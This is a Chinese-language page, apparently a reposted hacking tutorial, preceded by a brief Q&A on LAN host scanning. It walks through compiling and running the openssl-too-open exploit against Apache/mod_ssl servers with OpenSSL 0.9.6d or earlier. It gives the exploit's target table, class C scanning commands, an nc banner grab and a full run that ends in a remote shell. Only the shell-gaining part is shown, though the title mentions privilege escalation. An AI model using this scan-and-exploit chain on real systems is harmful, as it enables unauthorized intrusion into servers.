如何扫描局域网主机呢

可以利用专门软件，以Free IP Scanner为例， *** 作步骤如下：

1、百度一下Free IP Scanner，点击链接下载；

2、下载后直接解压到某一个文件夹；

3、打开文件夹运行该程序；

4、输入局域网开始ip和结束ip，点击开始扫描，等待扫描结束即可。

apache_openssl漏洞的利用及权限的提升

apache_openssl漏洞的利用及权限的提升

－－nightcat

转载请保持文章完整

第一部分：获得shell.

在packetstorm玩了一段时间，遇到有openssl-too-open.tar.gz这个exploit.

现在看看软件包的描述：

OpenSSL v0.9.6d and below remote exploit for Apache/mod_ssl servers which takes advantage of the KEY_ARG overflow. Tested against most major Linux distributions. Gives a remote nobody shell on Apache and remote root on other servers. Includes an OpenSSL vulnerability scanner which is more reliable than the RUS-CERT scanner and a detailed vulnerability analysis

这个描述说明这个exploit 是openssl v 0.9.6的key_arg的漏洞来达到溢出的目的。不过也要

注意apache/mod_ssl的版本信息。对于大多数的有这样条件的都能溢出成功。取得一个id是

nobody shell,有些甚至是root的权限。软件包里面有一个扫描器,exploit。

好象听起来很诱人，down回来研究一下。

nightcat@nightcat$tar -zxvf openssl-too-open.tar.gz

nightcat@nightcat$cd openssl-too-open

Makefile README linux-x86.c main.c main.h scanner.c ssl2.c ssl2.h

习惯性的要读一下软件包的REAMDE文件。

nightcat@nightcat$ more README

得到一些有用的信息：

1.编译的方法：

直接make就可以，之后就可以得到openssl-too-open和openssl-scanner

2.openssl-too-open的用法：

Usage: ./openssl-too-open [options] <host>

-a <arch>target architecture (default is 0x00)

-p <port>SSL port (default is 443)

-c <N>open N apache connections before sending the shellcode (default is 30)

-m <N>maximum number of open connections (default is 50)

-v verbose mode

Supported architectures:

0x00 - Gentoo (apache-1.3.24-r2)

0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)

0x02 - Slackware 7.0 (apache-1.3.26)

0x03 - Slackware 8.1-stable (apache-1.3.26)

0x04 - RedHat Linux 6.0 (apache-1.3.6-7)

0x05 - RedHat Linux 6.1 (apache-1.3.9-4)

0x06 - RedHat Linux 6.2 (apache-1.3.12-2)

0x07 - RedHat Linux 7.0 (apache-1.3.12-25)

0x08 - RedHat Linux 7.1 (apache-1.3.19-5)

0x09 - RedHat Linux 7.2 (apache-1.3.20-16)

0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)

0x0b - RedHat Linux 7.3 (apache-1.3.23-11)

0x0c - SuSE Linux 7.0 (apache-1.3.12)

0x0d - SuSE Linux 7.1 (apache-1.3.17)

0x0e - SuSE Linux 7.2 (apache-1.3.19)

0x0f - SuSE Linux 7.3 (apache-1.3.20)

0x10 - SuSE Linux 8.0 (apache-1.3.23-137)

0x11 - SuSE Linux 8.0 (apache-1.3.23)

0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)

0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)

0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)

0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

/****想成功，就要看准系统类型　和apache版本号

*****如果是 0x07 - RedHat Linux 7.0 (apache-1.3.12-25)：

*****./epenssl-too-open -a 0x07 ip .就应该可以啦！

****/

3.openssl-scanner的用法：

Usage: ./openssl-scanner [options] <host>

-i <inputfile>file with target hosts

-o <outputfile>output log

-a append to output log (requires -o)

-b check for big endian servers

-C scan the entire class C network the host belogs to

-d debug mode

-w N connection timeout in seconds

Examples: ./openssl-scanner -d 192.168.0.1

./openssl-scanner -i hosts -o my.log -w 5

./openssl-scanner -C 192.168.0.0

/****扫描一个c类的ip

*****./openssl-scanner -C 192.168.0.0

****/

4.一个实现例子：

$ ./openssl-scanner -C 192.168.0.0

: openssl-scanner : OpenSSL vulnerability scanner

by Solar Eclipse <solareclipse@phreedom.org>

Opening 255 connections . . . . . . . . . . done

Waiting for all connections to finish . . . . . . . . . . . done

192.168.0.136: Vulnerable

$ nc 192.168.0.1 80

HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Tue, 17 Sep 2002 17:47:44 GMT

Server: Apache-AdvancedExtranetServer/1.3.20 (Mandrake Linux/3mdk) mod_ssl/2.8.4 OpenSSL/0.9.6b

Connection: close

Content-Type: text/html

./openssl-too-open -a 0x14 192.168.0.1

: openssl-too-open : OpenSSL remote exploit

by Solar Eclipse <solareclipse@phreedom.org>

: Opening 30 connections

Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses

ssl0 : 0x810b3a0

ssl1 : 0x810b360

ssl2 : 0x810b4e0

* Addresses don't match.

: Opening 40 connections

Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses

ssl0 : 0x8103830

ssl1 : 0x80fd668

ssl2 : 0x80fd668

* Addresses don't match.

: Opening 50 connections

Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses

ssl0 : 0x8103830

ssl1 : 0x8103830

ssl2 : 0x8103830

: Sending shellcode

ciphers: 0x8103830 start_addr: 0x8103770 SHELLCODE_OFS: 184

Reading tag

Execution of stage1 shellcode succeeded, sending stage2

Spawning shell...

bash: no job control in this shell

bash-2.05$

bash-2.05$ uname -aidw

Linux localhost.localdomain 2.4.8-26mdk #1 Sun Sep 23 17:06:39 CEST 2001 i686 unknown

uid=48(apache) gid=48(apache) groups=48(apache)

1:49pm up 4:26, 1 user, load average: 0.04, 0.07, 0.07

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

bash-2.05$

整个README 文件已经说的很明白了：

现在是总结一下实现的过程：

1.通过openssl-scanner来扫描一个c段的ip，找到有漏洞的主机，

2.用nc的方法查找banner得到三个目标内容：apache的版本号，openssl的版本号， *** 作系统版本3.在通过openssl-too-open来进行溢出得到一个shell.

---